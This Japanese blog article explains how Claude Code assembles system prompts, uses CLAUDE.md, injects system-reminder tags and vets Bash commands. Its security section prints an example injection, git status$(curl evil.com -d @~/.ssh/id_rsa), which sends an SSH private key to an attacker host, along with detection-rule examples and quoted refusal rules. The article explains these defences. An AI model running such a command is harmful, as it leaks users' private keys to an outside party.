「おまかせ」という体験の裏に隠された精巧なプロンプトエンジニアリングの世界
Claude Codeを初めて使用した開発者たちは、しばしば「どうしてこんなにコンテキストをよく理解できるんだろう？」という疑問を抱く。単なるコーディングアシスタントではなく、まるでプロジェクトを長く一緒にしてきた同僚のように振る舞うClaude Code。その秘密は、40個以上のプロンプト断片が動的に組み合わされる精巧なシステムアーキテクチャにある。
この記事では、Claude CodeがCLAUDE.mdとコードベースをどのように活用してLLMに命令を出すのか、そしてシステムプロンプトがどのようにリアルタイムで生成されるのかを深層分析する。
この記事はLiteLLMプロキシを通じたAPIモニタリング分析と公開されたシステムプロンプト資料に基づいて作成されており、参考にした資料は記事の末尾に整理してある。
目次
- 全体アーキテクチャフロー
- システムプロンプトの動的構成
- CLAUDE.md活用メカニズム
- System Reminder注入パターン
- Sub-Agentアーキテクチャ
- セキュリティと権限検証フロー
- コンテキストエンジニアリング戦略
- 核心インサイト
1. 全体アーキテクチャフロー
Claude Codeにコマンドを入力すると何が起こるのだろうか？単にユーザーのメッセージがAPIに送信されるわけではない。その間には精巧なコンテキスト収集、プロンプトビルド、事前処理プロセスが存在する。
フローの説明
ユーザーがターミナルにコマンドを入力した瞬間、Claude Codeは4段階の精巧なパイプラインを起動する。
第一段階：コンテキスト収集
Claude Codeはまず現在の作業環境に関するすべての情報を収集する。プロジェクトルートのCLAUDE.mdファイルを読み込み、プロジェクト構造、ビルドコマンド、コーディング規則を把握する。同時にGit状態（現在のブランチ、最近のコミット、変更されたファイル）とオペレーティングシステム、インストールされたツールなどの環境情報も収集する。このすべての情報がClaudeが「プロジェクトを理解しているかのように」振る舞う基盤となる。
第二段階：プロンプトビルド
収集された情報を基にシステムプロンプトが動的に組み立てられる。核心は条件付き構成だ。すべてのプロンプト断片が常に含まれるわけではなく、現在の状況に必要なものだけが選択的に含まれる。例えば、Planモードが有効になっていればPlan関連プロンプトが追加され、MCPサーバーが設定されていればMCP CLIプロンプトが含まれる。
第三段階：リクエスト事前処理
APIリクエストを送信する前に、Claude Codeはいくつかの「事前作業」を実行する。現在の会話が新しいトピックかどうかを検知し、会話タイトルを生成し、長い会話の場合は以前の内容を要約する。このプロセスでも別途のLLM呼び出しが発生し、それぞれに特化したプロンプトが使用される。
第四段階：応答処理
Claudeの応答がツール呼び出しを含む場合、該当ツールが実行され、その結果にシステムリマインダーが注入される。このリマインダーはClaudeが元の目標から逸れないようにする「羅針盤」の役割を果たす。特にBashコマンドの場合、実行前にコマンドインジェクション攻撃を検知する専用Agentが検査を行う。
2. システムプロンプトの動的構成
Claude Codeのシステムプロンプトは単一の文字列ではない。静的コンポーネント、動的コンポーネント、条件付きコンポーネントがレゴブロックのように組み立てられて最終プロンプトを形成する。
フローの説明
静的コンポーネント：変わらない基盤
すべてのClaude Codeセッションで共通で使用されるプロンプトだ。2,601個のトークンで構成されたCoreシステムプロンプトは、Claude Codeのアイデンティティ、基本的な行動規則、応答スタイルを定義する。「あなたはClaude Codeです。Anthropicの公式CLIツールです...」で始まるこのプロンプトは、Claudeがコーディングアシスタントとしてどのように振る舞うべきかの根幹を形成する。
セキュリティ規則も静的コンポーネントに含まれる。悪意のあるコードの作成禁止、URL生成制限、機密性の高い操作に対するガイドラインなどがここに該当する。
動的コンポーネント：リアルタイムで変化するコンテキスト
ここがClaude Codeの真の「魔法」が起こる場所だ。CLAUDE.mdファイルの内容はプロジェクトごとに異なる。Reactプロジェクトならコンポーネント構造とスタイルガイドが、PythonバックエンドプロジェクトならAPIエンドポイントとテスト方法が含まれているだろう。この情報がシステムプロンプトに含まれることで、Claudeは「このプロジェクトを知っているかのように」振る舞うことができる。
Git状態情報も動的に注入される。現在のブランチが何か、最近のコミットが何か、どのファイルが変更されたかをClaudeが知っているため、「mainブランチにPRを作って」というリクエストを自然に処理できる。
条件付きコンポーネント：必要な時だけ有効化
Learning Mode、Plan Mode、MCP CLIなどは、ユーザーが特定のモードを有効にした時だけ含まれる。これはトークン効率性のための設計だ。使用しない機能の説明で貴重なコンテキストウィンドウを無駄にしない。
ツール説明：驚くほど詳細なガイド
17個のビルトインツールそれぞれに対する説明がシステムプロンプトに含まれる。特にTodoWrite（2,167トークン）とBash（1,074トークン）ツールは非常に詳細な使用ガイドを含む。このツール説明だけを合わせても8,000トークンを超える。
最終的に組み立てられたシステムプロンプトは10,000トークン以上に達することがある。そしてこのすべてが毎セッションごとに、状況に合わせて動的に再構成される。
3. CLAUDE.md活用メカニズム
CLAUDE.mdはClaude Codeエコシステムで特別な位置を占める。このファイルはプロジェクトの「頭脳」として、Claudeがコードベースを理解するのに必要なすべてのコンテキストを提供する。
フローの説明
初期設定：CLAUDE.mdの誕生
ユーザーが/initコマンドを実行するか、新しいプロジェクトで初めてClaude Codeを起動すると、専用Generator Agentが活性化される。このAgentは384トークンの特化したシステムプロンプトを持ち、ただ一つの目標だけを遂行する：コードベースを分析してCLAUDE.mdを生成すること。
Generatorはプロジェクトのファイル構造を探索し、package.json、pyproject.toml、Makefileなどの設定ファイルを読み込んでビルドおよびテストコマンドを把握する。コードのアーキテクチャパターンを分析し、主要なディレクトリとファイルの役割を要約する。このすべての情報が構造化された形式でCLAUDE.mdに保存される。
セッション実行：コンテキストの力
以降のすべてのClaude Codeセッションで、このCLAUDE.mdファイルはシステムプロンプトの一部として自動的に含まれる。ユーザーが「テストを実行して」と言えば、ClaudeはCLAUDE.mdから読み込んだテストコマンド（npm test、pytestなど）を使用する。「新しいコンポーネントを作って」と言えば、CLAUDE.mdに明示されたプロジェクトのスタイルガイドとディレクトリ構造に従う。
これがClaude Codeがプロジェクトごとに異なる振る舞いができる秘密だ。同じ「テストを実行して」というコマンドでも、Reactプロジェクトではnpm testを、Djangoプロジェクトではpython manage.py testを実行するのはCLAUDE.mdのおかげだ。
CLAUDE.mdの構造例
# プロジェクト概要
このプロジェクトはReactベースのダッシュボードアプリケーションです。
# プロジェクト構造
- src/components: 再利用可能なUIコンポーネント
- src/pages: ページレベルコンポーネント
- src/hooks: カスタムReactフック
- src/services: API通信ロジック
# 開発コマンド
- 開発サーバー: npm run dev
- ビルド: npm run build
- テスト: npm test -- --watch
- リント: npm run lint
# コーディング規則
- TypeScript strictモード使用
- コンポーネントは関数型で記述
- スタイルはTailwind CSS使用
- 状態管理はZustand使用
# 重要事項
- APIキーは.env.localに保存
- PR前に必ずlint通過必要
4. System Reminder注入パターン
Claude Codeの最もユニークな特徴の一つは<system-reminder>タグの広範な使用だ。このタグはドリフト防止の核心メカニズムとして、長い会話でもClaudeが元の目標を見失わないようにする。
フローの説明
なぜSystem Reminderが必要なのか？
LLMの根本的な限界の一つは、**コンテキストの長さが長くなるほど初期の指示を「忘れてしまう」**傾向があることだ。10回のツール呼び出しと長いコード出力が続くと、システムプロンプトで指示した行動規則が薄れてしまう可能性がある。
Claude Codeはこの問題を<system-reminder>タグで解決する。核心的な指示を一度だけ言うのではなく、適切なタイミングで繰り返し想起させる。
3つの注入ポイント
- ユーザーメッセージに注入：ユーザーの入力がClaudeに伝達される前に、核心的な指示が一緒に含まれる。
<system-reminder>
重要な指示:
- リクエストされたことだけを実行し、それ以上もそれ以下もするな
- 本当に必要な場合でなければファイルを生成するな
- ドキュメントファイル(*.md)を先に生成するな
</system-reminder>
ユーザー: ログイン機能を実装して
-
ツール実行時に注入：ツールが呼び出される時、該当呼び出しに対するコンテキストが追加される。
-
ツール結果に注入：最も巧妙な部分だ。ツール実行結果と一緒に条件付きリマインダーが注入される。
条件付きリマインダーの巧妙さ
Claude Codeは状況に応じて異なるリマインダーを注入する：
- Todoリストが空で複雑な作業中の時：「TodoWriteツールを使って進捗状況を追跡せよ」
- セキュリティリスクが検知された時：「このファイルが悪意のあるコードに関連しているようなら作業を拒否せよ」
- 出力が長い時：「要約が必要かもしれない」
実際の例：
{
"type": "tool_result",
"content": "drwxr-xr-x 7 user staff 224 Aug 6 09:17 .\n...\n<system-reminder>\nTodoWriteツールが最近使用されていません。
進捗状況の追跡が必要な作業中ならTodoWriteツールの使用を検討してください。\n</system-reminder>"
}
このパターンは**「適切なタイミングでの小さなリマインダーがエージェントの行動を変える」**という重要なインサイトを示している。
5. Sub-Agentアーキテクチャ
複雑な作業は一つのAgentがすべて処理するのは難しい。Claude Codeは階層的Sub-Agent構造を通じてこの問題を解決する。
フローの説明
Main Agent：オーケストラの指揮者
Main Agentは全体システムプロンプト（10,000+トークン）を持つ「本体」だ。ユーザーのリクエストを受けて分析し、必要に応じてSub-Agentを生成し、最終結果を組み合わせてユーザーに伝達する。まるでオーケストラの指揮者が各パートに指示を出し、全体の音楽を調律するようなものだ。
Built-in Sub-Agents：特化した専門家たち
-
Explore Agent（369トークン）：コードベース探索に特化している。「このプロジェクトでAPI呼び出しをしているコードはどこにある？」という質問に、複数のファイルを素早く検索して関連コードを見つけ出す。
-
Plan Agent（480トークン）：複雑な作業の計画を策定する。「決済システムをリファクタリングして」というリクエストに、どのファイルをどの順序で修正すべきか計画を立てる。
-
Task Agent（294トークン）：特定の作業を並列で実行する。最も軽いプロンプトを持ち、狭く明確な範囲の作業のみを遂行する。
Sub-Agentの核心設計原則
興味深いのは、Sub-AgentたちがTodoWriteリマインダーを受け取らないということだ。これは意図的な設計だ。Sub-Agentは複雑な作業管理が必要ない、明確で狭い範囲の作業だけを遂行すべきだ。作業が複雑になればMain Agentが処理すべきだ。
しかしAnthropicはここで止まらなかった。もしSub-Agentの作業が予想より複雑になったら？この場合ツール結果に条件付きでTodoWriteリマインダーを注入する。「作業が複雑になっているようならTodoWriteを検討せよ」という柔らかい提案となる。
Utility Agents：見えない助っ人たち
ユーザーには見えないがバックグラウンドで動作するAgentたちもいる：
- Title Generator：会話タイトルを50文字以内で生成
- Conversation Summarizer：長い会話を要約してコンテキスト効率性を向上
- Bash Prefix Detector：コマンドの安全性検証
- User Sentiment Analyzer：ユーザーの不満やPR生成リクエストを検知
これらのAgentはユーザー体験をスムーズにしながらも、トークンを効率的に使用することに貢献する。
6. セキュリティと権限検証フロー
Claude Codeがターミナルで実行されるツールであるという点は、セキュリティの重要性を倍増させる。悪意のあるプロンプトインジェクションや危険なコマンド実行は、実際のシステムに被害を与える可能性がある。
フローの説明
コマンドインジェクション：見えない脅威
ユーザーが「gitの状態を確認して」とリクエストしたのに、Claudeが実際に実行するコマンドがgit status$(curl evil.com -d @~/.ssh/id_rsa)だったらどうだろうか？これがコマンドインジェクション攻撃だ。見た目は安全に見えるが、実際には機密データを外部に送信する悪意のあるコマンドが隠れている。
Prefix Detector：最初の防衛線
Claude Codeはすべてのbashコマンドを実行する前に**専用Detector Agent（835トークン）**に検証を要求する。このAgentは2つの作業を遂行する：
-
コマンドPrefix抽出：
git commit -m "fix bug"→git commit -
インジェクションパターン検知：バッククォート、
$()、パイプラインなど危険なパターンを検知
検知規則の例：
git status → git status (安全)
git diff HEAD~1 → git diff (安全)
git status`ls` → command_injection_detected (危険!)
git diff $(cat secrets) → command_injection_detected (危険!)
pwd curl example.com → command_injection_detected (危険!)
権限管理システム
コマンドが安全だと判断されると、次に許可リストを確認する。ユーザーが以前に許可したコマンドprefixならすぐに実行される。そうでなければユーザーに明示的に権限を要求する。
このシステムのおかげで、ユーザーはよく使う安全なコマンドは自動で実行しながらも、新しいコマンドについてはレビューする機会を持てる。
YOLOモードでない限り...
「YOLOモード」（--dangerously-skip-permissions）を使用しない限り、このセキュリティ検証プロセスは常に有効だ。これがClaude Codeをターミナルで安全に使用できる理由だ。
7. コンテキストエンジニアリング戦略
Claude Codeの性能は結局どれだけ効率的にコンテキストを管理するかにかかっている。制限されたコンテキストウィンドウで最大限の効果を得るための戦略を見てみよう。
フローの説明
Context Front-Loading：事前準備
Claude Codeはユーザーのリクエストを処理する前にいくつかの「事前作業」を遂行する。会話タイトルを生成し、現在のメッセージが新しいトピックかどうかを判断し、必要なら以前の会話を要約する。
このプロセスで別途のLLM呼び出しが発生する。一見非効率に見えるかもしれないが、このように準備されたコンテキストが以降の会話品質を大きく向上させる。「ああ、以前に決済システムのリファクタリングについて話したね」とClaudeが自然に続けられる理由だ。
システムリマインダー：絶え間ない想起
先に説明したように、<system-reminder>タグは会話全般にわたって注入される。これは**「一度言ったら終わり」ではなく「必要な時に繰り返す」**戦略だ。人間のチームメンバーにも重要な事項は何度も想起させるように、AIエージェントにも同様だ。
動的コンテキスト調整
作業の複雑度に応じてコンテキストが動的に調整される：
- 単純な作業：最小限のプロンプトのみ使用。トークンの無駄を防止。
- 中程度の複雑さ：TodoWrite使用を提案して進捗状況を追跡。
- 高い複雑さ：Sub-Agentを生成して作業を分割。
キャッシュ最適化：トークンコスト削減
Anthropic APIのephemeral cache機能を活用する。システムプロンプト、CLAUDE.md内容、ツール説明など繰り返し使用されるコンテンツにキャッシュ制御を適用して、毎リクエストごとに同じトークンを再処理しない。
{
"text": "You are Claude Code...",
"type": "text",
"cache_control": {
"type": "ephemeral"
}
}
この最適化はコスト削減だけでなく応答速度の向上にも貢献する。
核心インサイト
Claude Codeを分析しながら発見した核心インサイトをまとめる。これらの教訓はAIエージェントを開発するすべての方々に有用だろう。
1. 動的プロンプト構成の力
「一つの万能プロンプトではなく、状況に合わせて組み立てられるプロンプトシステムが答えだ」
Claude Codeは単一のプロンプトを使用しない。代わりに40個以上のプロンプト断片が条件に応じて動的に組み合わされる。CLAUDE.mdを通じたプロジェクト別コンテキスト注入、環境とGit状態に応じたリアルタイム更新、有効化されたモードに応じた選択的プロンプト含有...このすべてが「状況を理解するAI」という体験を作り出す。
実務適用：自分だけのAIエージェントを作る時、一つの巨大なプロンプトを作成しようとするな。代わりにモジュール化されたプロンプト断片を作り、状況に応じて必要なものだけを組み合わせるシステムを設計せよ。
2. システムリマインダーの魔法
「重要なのは一度言うことではなく、適切なタイミングで繰り返すことだ」
<system-reminder>タグはClaude Codeの「秘密兵器」だ。ユーザーメッセージ、ツール呼び出し、ツール結果などすべての段階で核心的な指示が繰り返される。これにより長い会話でもドリフトを防止し、目標に集中できる。
実務適用：エージェントが長い作業を遂行する時、重要な指示を開始点にだけ置くな。中間中間の適切なタイミングでリマインダーを注入せよ。特にツール実行結果に条件付きリマインダーを追加するパターンが効果的だ。
3. 階層的エージェント構造
「一つの万能エージェントではなく、役割が明確な複数のエージェントの協業が答えだ」
Claude CodeはMain Agent、Sub-Agents、Utility Agentsで構成された階層構造を持つ。各エージェントは明確な役割と最適化されたプロンプトを持っている。Main Agentは全体調律、Explore Agentは探索、Plan Agentは計画、Task Agentは実行に集中する。
実務適用：複雑な作業を単一のエージェントで解決しようとするな。役割別にエージェントを分離し、各エージェントに最適化された（そして最小化された）プロンプトを提供せよ。より少ないコンテキストでより集中した作業を遂行できる。
4. セキュリティ中心設計
「セキュリティは後から追加するものではなく、最初からアーキテクチャに内蔵されるべきだ」
コマンドインジェクション検知のための専用Agent、コマンドprefix抽出および検証、ユーザー権限承認プロセス...Claude Codeはセキュリティを核心設計原則とした。このすべてがユーザーがターミナルでAIを「安心して」使用できるようにする。
実務適用：特にコード実行やファイルシステムアクセスが含まれるエージェントを開発する時、セキュリティ検証段階を必須で含めよ。「とりあえず動くようにして後からセキュリティ追加」は危険なアプローチだ。
5. 効率的なコンテキスト管理
「制限されたコンテキストウィンドウで最大の効果を得ることがエンジニアリングの核心だ」
Context front-loading、ephemeral cache、条件付きコンテキスト注入、会話要約...Claude Codeはトークン一つ一つを大切にする。不要な情報は除去し、繰り返される情報はキャッシュし、必要な情報だけを適時に注入する。
実務適用：コンテキストウィンドウを無限だと考えるな。プロンプトの各部分が本当に必要かどうかを検討し、キャッシュ戦略を策定し、動的コンテキスト調整を実装せよ。
結論：Claude Codeが与える教訓
Claude Codeを分析しながら最も印象深かったのは、「魔法」のように見える便利な動作の裏に隠された精巧なエンジニアリングだ。よくできた単一のプロンプトではなく、数十個の小さなプロンプト断片が条件に応じて組み合わされ、適切なタイミングでリマインダーが注入され、セキュリティ検証が自動で遂行されるプロセスを通じて「おまかせでうまく動く」体験を作り出す。
Anthropicが公開していないもう一つのミステリーがある。<system-reminder>タグがClaudeモデルの訓練過程で特別な意味を持つように学習されたかどうかだ。このタグが単純なXMLマークアップなのか、それともモデルが特別に注意を払うように訓練された「特別な信号」なのかはまだ明確ではない。
しかし明確なのは、Claude CodeのパターンがすべてのAIエージェント開発に適用可能な普遍的な原則を含んでいるという点だ：
- プロンプトをモジュール化し動的に組み合わせよ
- 重要な指示は繰り返し想起させよ
- 複雑な作業は特化したエージェントに分割せよ
- セキュリティを最初から設計に含めよ
- コンテキストを効率的に管理せよ
最後に、この記事はClaude Codeの動作原理に対する理解を説明しているが、コーディング以外の他の目的のAIエージェントを開発される方々にも参考資料になれば幸いだ。
最強の最初のAIエージェント - Agent Smith
参考資料
公式ドキュメント
- Claude Code Best Practices - Anthropic
- System Prompts - Claude Docs
技術分析
- Peeking Under the Hood of Claude Code - OutsightAI
GitHub
- Piebald-AI/claude-code-system-prompts - システムプロンプト全体リスト (v2.0.43)
- gregkonush/claude-system-prompts
- Claude Code System Prompt Gist